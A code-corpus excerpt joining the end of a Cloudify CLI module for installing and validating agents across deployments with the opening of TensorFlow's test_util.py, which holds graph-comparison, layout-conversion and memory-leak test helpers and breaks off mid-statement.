manager_certificate = _validate_certificate_file(manager_certificate) params = dict() # We only want to pass this arg if it's true, because of backwards # compatibility with blueprints that don't support it if stop_old_agent: params['stop_old_agent'] = stop_old_agent if manager_ip or manager_certificate: params['manager_ip'] = manager_ip params['manager_certificate'] = manager_certificate params['install_agent_timeout'] = install_agent_timeout get_deployments_and_run_workers( client, agent_filters, all_tenants, logger, 'install_new_agents', wait, params) def get_filters_map( client, logger, agent_filters, all_tenants): # We need to analyze the filters. # # If node instance ID's are given, then we only process these node # instances. The filters for deployment ID's and node ID's # must not be specified. # # Otherwise, we perform an intersection between: # # * Union of all specified node ID's # * Union of all specified deployment ID's # # This will end up being a mapping of this form: # # tenant1 |- dep1 |- nodeinstance_1 # |- |- nodeinstance_2 # |- |- nodeinstance_3 # tenant2 |- dep2 |- nodeinstance_4 # |- dep3 |- nodeinstance_5 # |- |- nodeinstance_6 # # It is possible that one of the keys in the dict is 'None', # and that means - the current tenant. if agent_filters[cfy.AGENT_FILTER_NODE_INSTANCE_IDS] and ( agent_filters[cfy.AGENT_FILTER_DEPLOYMENT_ID] or agent_filters[cfy.AGENT_FILTER_NODE_IDS]): raise CloudifyCliError( "If node instance ID's are provided, neither deployment ID's nor " "deployment ID's are allowed.") tenants_to_deployments = dict() requested_node_instance_ids = agent_filters[ cfy.AGENT_FILTER_NODE_INSTANCE_IDS] if requested_node_instance_ids: candidate_ids = requested_node_instance_ids candidates = client.node_instances.list( id=candidate_ids, _include=['id', 'tenant_name', 'deployment_id'], _get_all_results=True, _all_tenants=True) # Ensure that all requested node instance ID's actually exist. missing = set(candidate_ids) - set([ node_instance.id for node_instance in candidates]) if missing: raise CloudifyCliError("Node instances do not exist: " "%s" % ', '.join(missing)) for node_instance in candidates: tenant_map = tenants_to_deployments.setdefault( node_instance['tenant_name'], dict()) deployment = tenant_map.setdefault( node_instance['deployment_id'], dict()) deployment_node_instances = deployment.setdefault( 'node_instance_ids', list()) deployment_node_instances.append(node_instance.id) else: requested_deployment_ids = agent_filters[ cfy.AGENT_FILTER_DEPLOYMENT_ID] requested_node_ids = agent_filters[cfy.AGENT_FILTER_NODE_IDS] existing_deployments = client.deployments.list( id=requested_deployment_ids or None, _include=['id', 'tenant_name'], _get_all_results=True, _all_tenants=all_tenants) # If at least one deployment ID was provided, then ensure # all specified deployment ID's indeed exist. if requested_deployment_ids: missing = set(requested_deployment_ids) - set([ deployment.id for deployment in existing_deployments]) if missing: raise CloudifyCliError("Deployments do not exist: " "%s" % ', '.join(missing)) if requested_node_ids: existing_nodes = client.nodes.list( id=requested_node_ids, _include=['id', 'deployment_id', 'tenant_name'], _get_all_results=True, _all_tenants=all_tenants ) deps_with_req_nodes = set([ (node['tenant_name'], node.deployment_id) for node in existing_nodes]) # Collect all deployments (from 'existing_deployments') # that includes at least one of the requested nodes. deployments_to_execute = list() for deployment in existing_deployments: if (deployment['tenant_name'], deployment.id) in \ deps_with_req_nodes: deployments_to_execute.append(deployment) else: deployments_to_execute = existing_deployments for deployment in deployments_to_execute: tenant_map = tenants_to_deployments.setdefault( deployment['tenant_name'], dict()) deployment_filters = tenant_map.setdefault(deployment.id, dict()) if requested_node_ids: deployment_filters['node_ids'] = requested_node_ids # If no deployment ID's were requested, then filter out deployments # that have at least one Compute instance that is not in "started" # state. # We skip this check if specific deployment ID's were requested. if not requested_deployment_ids: for tenant_name in tenants_to_deployments.keys(): tenant_client = env.get_rest_client(tenant_name=tenant_name) deps_to_execute = tenants_to_deployments[tenant_name] node_instances = tenant_client.node_instances.list( deployment_id=deps_to_execute.keys(), _include=['id', 'host_id', 'deployment_id', 'state'] ) # Find all unstarted Compute instances. unstarted_computes = list(filter( lambda ni: ni.id == ni.host_id and ni.state != _NODE_INSTANCE_STATE_STARTED, node_instances)) for unstarted_ni in unstarted_computes: logger.info("Node instance '%s' is not in '%s' state; " "deployment '%s' will be skipped", unstarted_ni.id, _NODE_INSTANCE_STATE_STARTED, unstarted_ni.deployment_id) deps_to_execute.pop(unstarted_ni.deployment_id, None) if not deps_to_execute: del tenants_to_deployments[tenant_name] return tenants_to_deployments def get_deployments_and_run_workers( client, agent_filters, all_tenants, logger, workflow_id, agents_wait, parameters=None): tenants_to_deployments = get_filters_map( client, logger, agent_filters, all_tenants) if not tenants_to_deployments: raise CloudifyCliError("No eligible deployments found") started_executions = [] requested_install_methods = agent_filters[cfy.AGENT_FILTER_INSTALL_METHODS] for tenant_name, deployments in tenants_to_deployments.items(): tenant_client = env.get_rest_client(tenant_name=tenant_name) for deployment_id, dep_filters in deployments.items(): execution_params = dep_filters.copy() # Shallow is fine. if requested_install_methods: execution_params['install_methods'] = requested_install_methods if parameters: execution_params.update(parameters) execution = tenant_client.executions.start( deployment_id, workflow_id, execution_params, allow_custom_parameters=True) started_executions.append((tenant_name, execution)) logger.info( "Started execution for deployment '%s' on tenant '%s': %s", deployment_id, tenant_name, execution.id ) if not agents_wait: logger.info("Executions started for all applicable deployments. " "You may now use the 'cfy events list' command to " "view the events associated with these executions.") return executions_queue = queue.Queue() for execution_info in started_executions: executions_queue.put(execution_info) errors_summary = [] def _events_handler(events): for event in events: output = create_event_message_prefix(event) if output: logger.info(output) def _tracker_thread(): while True: try: tenant_name, execution = executions_queue.get_nowait() except queue.Empty: break try: tenant_client = env.get_rest_client(tenant_name=tenant_name) execution = wait_for_execution( tenant_client, execution, events_handler=_events_handler, include_logs=True, timeout=None) if execution.error: message = "Execution of workflow '{0}' for " \ "deployment '{1}' failed. [error={2}]".format( workflow_id, execution.deployment_id, execution.error) logger.error(message) errors_summary.append(message) else: logger.info("Finished executing workflow " "'{0}' on deployment" " '{1}'".format(workflow_id, execution.deployment_id)) except Exception as ex: # Log to the logger with a full traceback. # Add to errors summary with only the exception message, # to avoid clutter. logger.exception("Failed waiting for execution {0} to " "finish".format(execution.id)) errors_summary.append( "Failed waiting for execution {0} to finish; error " "message: %s" % str(ex) ) threads = [] for i in range(MAX_TRACKER_THREADS): thread = threading.Thread(target=_tracker_thread) threads.append(thread) thread.daemon = True thread.start() while True: if all(not thread.is_alive() for thread in threads): break time.sleep(WAIT_FOR_EXECUTION_SLEEP_INTERVAL) # No need to join any thread, because if we get to this point, # all threads have already ended (see loop above). if errors_summary: raise CloudifyCliError("At least one execution ended with an error:\n" "{0}".format('\n'.join(errors_summary))) @agents.command(name='validate', short_help='Validates the connection between the' ' Cloudify Manager and the live Cloudify Agents' ' (installed on remote hosts). [manager only]') @cfy.options.common_options @cfy.options.agent_filters @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='relevant deployment(s)') @cfy.options.all_tenants @cfy.options.agents_wait @cfy.pass_logger @cfy.pass_client() def validate(agent_filters, tenant_name, logger, client, all_tenants, wait): """Validates the connection between the Cloudify Manager and the live Cloudify Agents (installed on remote hosts). """ get_deployments_and_run_workers( client, agent_filters, all_tenants, logger, 'validate_agents', wait, None) def _validate_certificate_file(certificate): if not os.path.exists(certificate): raise IOError("Manager's SSL certificate file does not exist in the" " following path: {0}".format(certificate)) try: with open(certificate, 'r') as ssl_file: manager_certificate = ssl_file.read() except IOError as e: raise IOError("Could not read Manager's SSL certificate from the given" " path: {0}\nError:{1}".format(certificate, e)) return manager_certificate
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=invalid-name """Test utils for tensorflow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from collections import OrderedDict import contextlib import functools import gc import itertools import math import os import random import re import tempfile import threading import unittest from absl.testing import parameterized import numpy as np import six _portpicker_import_error = None try: import portpicker # pylint: disable=g-import-not-at-top except ImportError as _error: _portpicker_import_error = _error portpicker = None # pylint: disable=g-import-not-at-top from google.protobuf import descriptor_pool from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.core.protobuf import rewriter_config_pb2 from tensorflow.python import _pywrap_stacktrace_handler from tensorflow.python import _pywrap_util_port from tensorflow.python import pywrap_tensorflow from tensorflow.python import tf2 from tensorflow.python.client import device_lib from tensorflow.python.client import session from tensorflow.python.compat.compat import forward_compatibility_horizon from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.eager import tape from tensorflow.python.framework import device as pydev from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import errors_impl from tensorflow.python.framework import importer from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import versions from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_util from tensorflow.python.ops import control_flow_util_v2 from tensorflow.python.ops.ragged import ragged_tensor from tensorflow.python.ops.ragged import ragged_tensor_value from tensorflow.python.ops import script_ops from tensorflow.python.ops import summary_ops_v2 from tensorflow.python.ops import variables from tensorflow.python.platform import googletest from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import server_lib from tensorflow.python.util import compat from tensorflow.python.util import deprecation from tensorflow.python.util import nest from tensorflow.python.util import tf_decorator from tensorflow.python.util import tf_inspect from tensorflow.python.util.protobuf import compare from tensorflow.python.util.tf_export import tf_export from tensorflow.python.util.compat import collections_abc # If the below import is made available through the BUILD rule, then this # function is overridden and will instead return True and cause Tensorflow # graphs to be compiled with XLA. def is_xla_enabled(): return False try: from tensorflow.python.framework.is_xla_test_true import is_xla_enabled # pylint: disable=g-import-not-at-top except: pass def _get_object_count_by_type(): return collections.Counter([type(obj).__name__ for obj in gc.get_objects()]) @tf_export("test.gpu_device_name") def gpu_device_name(): """Returns the name of a GPU device if available or the empty string.""" for x in device_lib.list_local_devices(): if x.device_type == "GPU" or x.device_type == "SYCL": return compat.as_str(x.name) return "" def assert_ops_in_graph(expected_ops, graph): """Assert all expected operations are found. Args: expected_ops: `dict<string, string>` of op name to op type. graph: Graph to check. Returns: `dict<string, node>` of node name to node. Raises: ValueError: If the expected ops are not present in the graph. """ actual_ops = {} gd = graph.as_graph_def() for node in gd.node: if node.name in expected_ops: if expected_ops[node.name] != node.op: raise ValueError("Expected op for node %s is different. %s vs %s" % (node.name, expected_ops[node.name], node.op)) actual_ops[node.name] = node if set(expected_ops.keys()) != set(actual_ops.keys()): raise ValueError("Not all expected ops are present. Expected %s, found %s" % (expected_ops.keys(), actual_ops.keys())) return actual_ops @tf_export("test.assert_equal_graph_def", v1=[]) def assert_equal_graph_def_v2(expected, actual): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. This function ignores randomized attribute values that may appear in V2 checkpoints. Args: expected: The `GraphDef` we expected. actual: The `GraphDef` we have. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ assert_equal_graph_def(actual, expected, checkpoint_v2=True, hash_table_shared_name=True) @tf_export(v1=["test.assert_equal_graph_def"]) def assert_equal_graph_def_v1(actual, expected, checkpoint_v2=False, hash_table_shared_name=False): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. Args: actual: The `GraphDef` we have. expected: The `GraphDef` we expected. checkpoint_v2: boolean determining whether to ignore randomized attribute values that appear in V2 checkpoints. hash_table_shared_name: boolean determining whether to ignore randomized shared_names that appear in HashTableV2 op defs. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ assert_equal_graph_def(actual, expected, checkpoint_v2, hash_table_shared_name) def assert_equal_graph_def(actual, expected, checkpoint_v2=False, hash_table_shared_name=False): if not isinstance(actual, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for actual, got %s" % type(actual).__name__) if not isinstance(expected, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for expected, got %s" % type(expected).__name__) if checkpoint_v2: _strip_checkpoint_v2_randomized(actual) _strip_checkpoint_v2_randomized(expected) if hash_table_shared_name: _strip_hash_table_shared_name(actual) _strip_hash_table_shared_name(expected) diff = pywrap_tensorflow.EqualGraphDefWrapper(actual.SerializeToString(), expected.SerializeToString()) if diff: raise AssertionError(compat.as_str(diff)) def assert_meta_graph_protos_equal(tester, a, b): """Compares MetaGraphDefs `a` and `b` in unit test class `tester`.""" # Carefully check the collection_defs tester.assertEqual(set(a.collection_def), set(b.collection_def)) collection_keys = a.collection_def.keys() for k in collection_keys: a_value = a.collection_def[k] b_value = b.collection_def[k] proto_type = ops.get_collection_proto_type(k) if proto_type: a_proto = proto_type() b_proto = proto_type() # Number of entries in the collections is the same tester.assertEqual( len(a_value.bytes_list.value), len(b_value.bytes_list.value)) for (a_value_item, b_value_item) in zip(a_value.bytes_list.value, b_value.bytes_list.value): a_proto.ParseFromString(a_value_item) b_proto.ParseFromString(b_value_item) tester.assertProtoEquals(a_proto, b_proto) else: tester.assertEquals(a_value, b_value) # Compared the fields directly, remove their raw values from the # proto comparison below. a.ClearField("collection_def") b.ClearField("collection_def") # Check the graph_defs. assert_equal_graph_def(a.graph_def, b.graph_def, checkpoint_v2=True) # Check graph_def versions (ignored by assert_equal_graph_def). tester.assertProtoEquals(a.graph_def.versions, b.graph_def.versions) # Compared the fields directly, remove their raw values from the # proto comparison below. a.ClearField("graph_def") b.ClearField("graph_def") tester.assertProtoEquals(a, b) # Matches attributes named via _SHARDED_SUFFIX in # tensorflow/python/training/saver.py _SHARDED_SAVE_OP_PATTERN = "_temp_[0-9a-z]{32}/part" def _strip_checkpoint_v2_randomized(graph_def): for node in graph_def.node: delete_keys = [] for attr_key in node.attr: attr_tensor_value = node.attr[attr_key].tensor if attr_tensor_value and len(attr_tensor_value.string_val) == 1: attr_tensor_string_value = attr_tensor_value.string_val[0] if (attr_tensor_string_value and re.match(_SHARDED_SAVE_OP_PATTERN, str(attr_tensor_string_value))): delete_keys.append(attr_key) for attr_key in delete_keys: del node.attr[attr_key] _TABLE_SHARED_NAME_PATTERN = r"hash_table_[0-9a-z\-]+" def _strip_hash_table_shared_name(graph_def): for node in graph_def.node: delete_keys = [] if node.op == "HashTableV2" and "shared_name" in node.attr: if re.match(_TABLE_SHARED_NAME_PATTERN, str(node.attr["shared_name"].s)): delete_keys.append("shared_name") for attr_key in delete_keys: del node.attr[attr_key] def IsGoogleCudaEnabled(): return _pywrap_util_port.IsGoogleCudaEnabled() def IsBuiltWithROCm(): return _pywrap_util_port.IsBuiltWithROCm() def IsBuiltWithNvcc(): return _pywrap_util_port.IsBuiltWithNvcc() def GpuSupportsHalfMatMulAndConv(): return _pywrap_util_port.GpuSupportsHalfMatMulAndConv() def IsMklEnabled(): return _pywrap_util_port.IsMklEnabled() def InstallStackTraceHandler(): _pywrap_stacktrace_handler.InstallStacktraceHandler() def NHWCToNCHW(input_tensor): """Converts the input from the NHWC format to NCHW. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = {4: [0, 3, 1, 2], 5: [0, 4, 1, 2, 3]} if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] def NHWCToNCHW_VECT_C(input_shape_or_tensor): """Transforms the input from the NHWC layout to NCHW_VECT_C layout. Note: Does not include quantization or type conversion steps, which should be applied afterwards. Args: input_shape_or_tensor: a 4- or 5-D tensor, or an array representing shape Returns: tensor or shape array transformed into NCHW_VECT_C Raises: ValueError: if last dimension of `input_shape_or_tensor` is not evenly divisible by 4. """ permutations = {5: [0, 3, 1, 2, 4], 6: [0, 4, 1, 2, 3, 5]} is_tensor = isinstance(input_shape_or_tensor, ops.Tensor) temp_shape = ( input_shape_or_tensor.shape.as_list() if is_tensor else input_shape_or_tensor) if temp_shape[-1] % 4 != 0: raise ValueError( "Last dimension of input must be evenly divisible by 4 to convert to " "NCHW_VECT_C.") temp_shape[-1] //= 4 temp_shape.append(4) permutation = permutations[len(temp_shape)] if is_tensor: t = array_ops.reshape(input_shape_or_tensor, temp_shape) return array_ops.transpose(t, permutation) else: return [temp_shape[a] for a in permutation] def NCHW_VECT_CToNHWC(input_shape_or_tensor): """Transforms the input from the NCHW_VECT_C layout to NHWC layout. Note: Does not include de-quantization or type conversion steps, which should be applied beforehand. Args: input_shape_or_tensor: a 5- or 6-D tensor, or an array representing shape Returns: tensor or shape array transformed into NHWC Raises: ValueError: if last dimension of `input_shape_or_tensor` is not 4. """ permutations = {5: [0, 2, 3, 1, 4], 6: [0, 2, 3, 4, 1, 5]} is_tensor = isinstance(input_shape_or_tensor, ops.Tensor) input_shape = ( input_shape_or_tensor.shape.as_list() if is_tensor else input_shape_or_tensor) if input_shape[-1] != 4: raise ValueError("Last dimension of NCHW_VECT_C must be 4.") permutation = permutations[len(input_shape)] nhwc_shape = [input_shape[a] for a in permutation[:-1]] nhwc_shape[-1] *= input_shape[-1] if is_tensor: t = array_ops.transpose(input_shape_or_tensor, permutation) return array_ops.reshape(t, nhwc_shape) else: return nhwc_shape def NCHWToNHWC(input_tensor): """Converts the input from the NCHW format to NHWC. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = {4: [0, 2, 3, 1], 5: [0, 2, 3, 4, 1]} if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] def skip_if(condition): """Skips the decorated function if condition is or evaluates to True. Args: condition: Either an expression that can be used in "if not condition" statement, or a callable whose result should be a boolean. Returns: The wrapped function """ def real_skip_if(fn): def wrapper(*args, **kwargs): if callable(condition): skip = condition() else: skip = condition if not skip: return fn(*args, **kwargs) return wrapper return real_skip_if def enable_c_shapes(fn): """No-op. TODO(b/74620627): Remove this.""" return fn def with_c_shapes(cls): """No-op. TODO(b/74620627): Remove this.""" return cls def enable_control_flow_v2(fn): """Decorator for enabling CondV2 and WhileV2 on a test. Note this enables using CondV2 and WhileV2 after running the test class's setup/teardown methods. In addition to this, callers must import the while_v2 module in order to set the _while_v2 module in control_flow_ops. Args: fn: the function to be wrapped Returns: The wrapped function """ def wrapper(*args, **kwargs): enable_control_flow_v2_old = control_flow_util.ENABLE_CONTROL_FLOW_V2 control_flow_util.ENABLE_CONTROL_FLOW_V2 = True try: return fn(*args, **kwargs) finally: control_flow_util.ENABLE_CONTROL_FLOW_V2 = enable_control_flow_v2_old return wrapper def with_control_flow_v2(cls): """Adds methods that call original methods with WhileV2 and CondV2 enabled. Note this enables CondV2 and WhileV2 in new methods after running the test class's setup method. In addition to this, callers must import the while_v2 module in order to set the _while_v2 module in control_flow_ops. If a test function has _disable_control_flow_v2 attr set to True (using the @disable_control_flow_v2 decorator), the v2 function is not generated for it. Example: @test_util.with_control_flow_v2 class ControlFlowTest(test.TestCase): def testEnabledForV2(self): ... @test_util.disable_control_flow_v2("b/xyzabc") def testDisabledForV2(self): ... Generated class: class ControlFlowTest(test.TestCase): def testEnabledForV2(self): ... def testEnabledForV2WithControlFlowV2(self): // Enable V2 flags. testEnabledForV2(self) // Restore V2 flags. def testDisabledForV2(self): ... Args: cls: class to decorate Returns: cls with new test methods added """ if control_flow_util.ENABLE_CONTROL_FLOW_V2: return cls for name, value in cls.__dict__.copy().items(): if (callable(value) and name.startswith(unittest.TestLoader.testMethodPrefix) and not getattr(value, "_disable_control_flow_v2", False)): setattr(cls, name + "WithControlFlowV2", enable_control_flow_v2(value)) return cls def disable_control_flow_v2(unused_msg): """Decorator for a function in a with_control_flow_v2 enabled test class. Blocks the function from being run with v2 control flow ops. Args: unused_msg: Reason for disabling. Returns: The wrapped function with _disable_control_flow_v2 attr set to True. """ def wrapper(func): func._disable_control_flow_v2 = True return func return wrapper def enable_output_all_intermediates(fn): """Force-enable outputing all intermediates from functional control flow ops. Args: fn: the function to be wrapped Returns: The wrapped function """ def wrapper(*args, **kwargs): output_all_intermediates_old = \ control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE = True try: return fn(*args, **kwargs) finally: control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE = \ output_all_intermediates_old return wrapper def assert_no_new_pyobjects_executing_eagerly(func=None, warmup_iters=2): """Decorator for asserting that no new Python objects persist after a test. Runs the test multiple times executing eagerly, first as a warmup and then to let objects accumulate. The warmup helps ignore caches which do not grow as the test is run repeatedly. Useful for checking that there are no missing Py_DECREFs in the C exercised by a bit of Python. Args: func: The function to test. warmup_iters: The numer of warmup iterations, excluded from measuring. Returns: The wrapped function performing the test. """ def wrap_f(f): def decorator(self, *args, **kwargs): """Warms up, gets object counts, runs the test, checks for new objects.""" with context.eager_mode(): gc.disable() # Run the test 2 times as warmup, in an attempt to fill up caches, which # should not grow as the test is run repeatedly below. # # TODO(b/117156879): Running warmup twice is black magic; we have seen # tests that fail with 1 warmup run, and pass with 2, on various # versions of python2.7.x. for _ in range(warmup_iters): f(self, *args, **kwargs) # Some objects are newly created by _get_object_count_by_type(). So # create and save as a dummy variable to include it as a baseline. obj_count_by_type = _get_object_count_by_type() gc.collect() obj_count_by_type = _get_object_count_by_type() if ops.has_default_graph(): collection_sizes_before = { collection: len(ops.get_collection(collection)) for collection in ops.get_default_graph().collections } for _ in range(3): f(self, *args, **kwargs) # Note that gc.get_objects misses anything that isn't subject to garbage # collection (C types). Collections are a common source of leaks, so we # test for collection sizes explicitly. if ops.has_default_graph(): for collection_key in ops.get_default_graph().collections: collection = ops.get_collection(collection_key) size_before = collection_sizes_before.get(collection_key, 0) if len(collection) > size_before: raise AssertionError( ("Collection %s increased in size from " "%d to %d (current items %s).") % (collection_key, size_before, len(collection), collection)) # Make sure our collection checks don't show up as leaked memory by # removing references to temporary variables. del collection del collection_key del size_before del collection_sizes_before gc.collect() # There should be no new Python objects hanging around. obj_count_by_type = _get_object_count_by_type() - obj_count_by_type # In some cases (specifacally on MacOS), new_count is somehow # smaller than previous_count. # Using plain assert because not all classes using this decorator # have assertLessEqual assert not obj_count_by_type, ( "The following objects were newly created: %s" % str(obj_count_by_type)) gc.enable() return decorator if func is None: return wrap_f else: return wrap_f(func) def assert_no_new_tensors(f): """Decorator for asserting that no new Tensors persist after a test. Mainly useful for checking that code using the Python C API has correctly manipulated reference counts. Clears the caches that it knows about, runs the garbage collector, then checks that there are no Tensor or Tensor-like objects still around. This includes Tensors to which something still has a reference (e.g. from missing Py_DECREFs) and uncollectable cycles (i.e. Python reference cycles where one of the objects has __del__ defined). Args: f: The test case to run. Returns: The decorated test case. """ def decorator(self, **kwargs): """Finds existing Tensors, runs the test, checks for new Tensors.""" def _is_tensorflow_object(obj): try: return isinstance(obj, (ops.Tensor, variables.Variable, tensor_shape.Dimension, tensor_shape.TensorShape)) except ReferenceError: # If the object no longer exists, we don't care about it. return False tensors_before = set( id(obj) for obj in gc.get_objects() if _is_tensorflow_object(obj)) outside_executed_eagerly = context.executing_eagerly() # Run the test in a new graph so that collections get cleared when it's # done, but inherit the graph key so optimizers behave. outside_graph_key = ops.get_default_graph()._graph_key with ops.Graph().as_default(): ops.get_default_graph()._graph_key = outside_graph_key if outside_executed_eagerly: with context.eager_mode(): result = f(self, **kwargs) else: result = f(self, **kwargs) # Make an effort to clear caches, which would otherwise look like leaked # Tensors. context.context()._clear_caches() # pylint: disable=protected-access gc.collect() tensors_after = [ obj for obj in gc.get_objects() if _is_tensorflow_object(obj) and id(obj) not in tensors_before ] if tensors_after: raise AssertionError(("%d Tensors not deallocated after test: %s" % ( len(tensors_after), str(tensors_after), ))) return result return decorator def _find_reference_cycle(objects, idx): def get_ignore_reason(obj, blacklist): """Tests whether an object should be omitted from the dependency graph.""" if len(blacklist) > 100: return "<depth limit>" if tf_inspect.isframe(obj): if "test_util.py" in tf_inspect.getframeinfo(obj)[0]: return "<test code>" for b in blacklist: if b is obj: return "<test code>" if obj is blacklist: return "<test code>" return None # Note: this function is meant to help with diagnostics. Its output is purely # a human-readable representation, so you may freely modify it to suit your # needs. def describe(obj, blacklist, leaves_only=False): """Returns a custom human-readable summary of obj. Args: obj: the value to describe. blacklist: same as blacklist in get_ignore_reason. leaves_only: boolean flag used when calling describe recursively. Useful for summarizing collections. """ if get_ignore_reason(obj, blacklist): return "{}{}".format(get_ignore_reason(obj, blacklist), type(obj)) if tf_inspect.isframe(obj): return "frame: {}".format(tf_inspect.getframeinfo(obj)) elif tf_inspect.ismodule(obj): return "module: {}".format(obj.__name__) else: if leaves_only: return "{}, {}".format(type(obj), id(obj)) elif isinstance(obj, list): return "list({}): {}".format( id(obj), [describe(e, blacklist, leaves_only=True) for e in obj]) elif isinstance(obj, tuple): return "tuple({}): {}".format( id(obj), [describe(e, blacklist, leaves_only=True) for e in obj]) elif isinstance(obj, dict): return "dict({}): {} keys".format(id(obj), len(obj.keys())) elif tf_inspect.isfunction(obj): return "function({}) {}; globals ID: {}".format( id(obj), obj.__name__, id(obj.__globals__)) else: return "{}, {}".format(type(obj), id(obj)) def build_ref_graph(obj, graph, reprs, blacklist): """Builds a reference graph as <referrer> -> <list of refferents>. Args: obj: The object to start from. The graph will be built by recursively adding its referrers. graph: Dict holding the graph to be built. To avoid creating extra references, the graph holds object IDs rather than actual objects. reprs: Auxiliary structure that maps object IDs to their human-readable description. blacklist: List of objects to ignore. """ referrers = gc.get_referrers(obj) blacklist = blacklist + (referrers,) obj_id = id(obj) for r in referrers: if get_ignore_reason(r, blacklist) is None: r_id = id(r) if r_id not in graph: graph[r_id] = [] if obj_id not in graph[r_id]: graph[r_id].append(obj_id) build_ref_graph(r, graph, reprs, blacklist) reprs[r_id] = describe(r, blacklist) def find_cycle(el, graph, reprs, path): """Finds and prints a single cycle in the dependency graph.""" if el not in graph: return for r in graph[el]: if r in path: logging.error("Reference cycle sample:") for p in path + (r,): logging.error(reprs.get(p, "unknown object " + str(p))) return True else: if find_cycle(r, graph, reprs, path + (r,)): return True return False obj = objects[idx] graph = {} # referrer ID -> object ID reprs = {} # object ID -> description build_ref_graph(obj, graph, reprs, (objects, graph, reprs, get_ignore_reason, describe, build_ref_graph, find_cycle)) for k in graph: if find_cycle(k, graph, reprs, ()): return True return False def assert_no_garbage_created(f): """Test method decorator to assert that no garbage has been created. Note that this decorator sets DEBUG_SAVEALL, which in some Python interpreters cannot be un-set (i.e. will disable garbage collection for any other unit tests in the same file/shard). Args: f: The function to decorate. Returns: The decorated function. """ def decorator(self, **kwargs): """Sets DEBUG_SAVEALL, runs the test, and checks for new garbage.""" # Force-load `distribution_strategy_context` to prevent GC at # test time when using eager. Remove once b/117329403 is resolved. tape.distribution_strategy_context.get_strategy() gc.disable() previous_debug_flags = gc.get_debug() gc.set_debug(gc.DEBUG_SAVEALL) gc.collect() previous_garbage = len(gc.garbage) result = f(self, **kwargs) gc.collect() new_garbage = len(gc.garbage) if new_garbage > previous_garbage: logging.error( "The decorated test created work for Python's garbage collector, " "likely due to a reference cycle. New objects in cycle(s):") for i, obj in enumerate(gc.garbage[previous_garbage:]): try: logging.error("Object %d of %d", i, len(gc.garbage) - previous_garbage) def _safe_object_str(obj): return "<%s %d>" % (obj.__class__.__name__, id(obj)) logging.error(" Object type: %s", _safe_object_str(obj)) logging.error( " Referrer types: %s", ", ".join( [_safe_object_str(ref) for ref in gc.get_referrers(obj)])) logging.error( " Referent types: %s", ", ".join( [_safe_object_str(ref) for ref in gc.get_referents(obj)])) logging.error(" Object attribute names: %s", dir(obj)) logging.error(" Object __str__:") logging.error(obj) logging.error(" Object __repr__:") logging.error(repr(obj)) except Exception: # pylint: disable=broad-except logging.error("(Exception while printing object)") # When garbage is created, this call can help identify reference cycles, # which are typically the cause of such garbage. if new_garbage > previous_garbage: for i in range(previous_garbage, new_garbage): if _find_reference_cycle(gc.garbage, i): break # This will fail if any garbage has been created, typically because of a # reference cycle. self.assertEqual(previous_garbage, new_garbage) # TODO(allenl): Figure out why this debug flag reset doesn't work. It would # be nice to be able to decorate arbitrary tests in a large test suite and # not hold on to every object in other tests. gc.set_debug(previous_debug_flags) gc.enable() return result return decorator def _combine_named_parameters(**kwargs): """Generate combinations based on its keyword arguments. Two sets of returned combinations can be concatenated using +. Their product can be computed using `times()`. Args: **kwargs: keyword arguments of form `option=[possibilities, ...]` or `option=the_only_possibility`. Returns: a list of dictionaries for each combination. Keys in the dictionaries are the keyword argument names. Each key has one value - one of the corresponding keyword argument values. """ sort_by_key = lambda k: k[0] combinations = [] for key, values in sorted(kwargs.items(), key=sort_by_key): if not isinstance(values, list): values = [values] combinations.append([(key, value) for value in values]) return [OrderedDict(result) for result in itertools.product(*combinations)] def generate_combinations_with_testcase_name(**kwargs): """Generate combinations based on its keyword arguments using combine(). This function calls combine() and appends a testcase name to the list of dictionaries returned. The 'testcase_name' key is a required for named parameterized tests. Args: **kwargs: keyword arguments of form `option=[possibilities, ...]` or `option=the_only_possibility`. Returns: a list of dictionaries for each combination. Keys in the dictionaries are the keyword argument names. Each key has one value - one of the corresponding keyword argument values. """ combinations = _combine_named_parameters(**kwargs) named_combinations = [] for combination in combinations: assert 